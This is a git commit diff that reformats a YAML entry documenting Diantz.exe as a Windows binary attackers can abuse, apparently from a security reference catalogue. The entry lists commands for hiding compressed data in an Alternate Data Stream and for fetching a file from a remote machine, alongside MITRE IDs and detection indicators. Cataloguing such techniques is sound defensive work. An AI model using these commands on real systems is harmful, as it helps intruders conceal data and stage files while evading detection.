This commit is contained in:
Wietze
2021-01-10 15:04:52 +00:00
parent de50a47957
commit 14dca38278
147 changed files with 407 additions and 407 deletions

View File

@@ -2,11 +2,11 @@
Name: Diantz.exe
Description: Binary that package existing files into a cabinet (.cab) file
Author: 'Tamir Yehuda'
Created: '08/08/2020'
Created: 2020-08-08
Commands:
- Command: diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab
Description: Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.
Usecase: Hide data compressed into an Alternate Data Stream.
Usecase: Hide data compressed into an Alternate Data Stream.
Category: ADS
Privileges: User
MitreID: T1096
@@ -14,7 +14,7 @@ Commands:
OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
- Command: diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
Description: Download and compress a remote file and store it in a cab file on local machine.
Usecase: Download and compress into a cab file.
Usecase: Download and compress into a cab file.
Category: Download
Privileges: User
MitreID: T1105
@@ -23,9 +23,9 @@ Commands:
Full_Path:
- Path: c:\windows\system32\diantz.exe
- Path: c:\windows\syswow64\diantz.exe
Code_Sample:
- Code:
Detection:
Code_Sample:
- Code:
Detection:
- IOC: diantz storing data into alternate data streams.
- IOC: diantz getting a file from a remote machine or the internet.
Resources: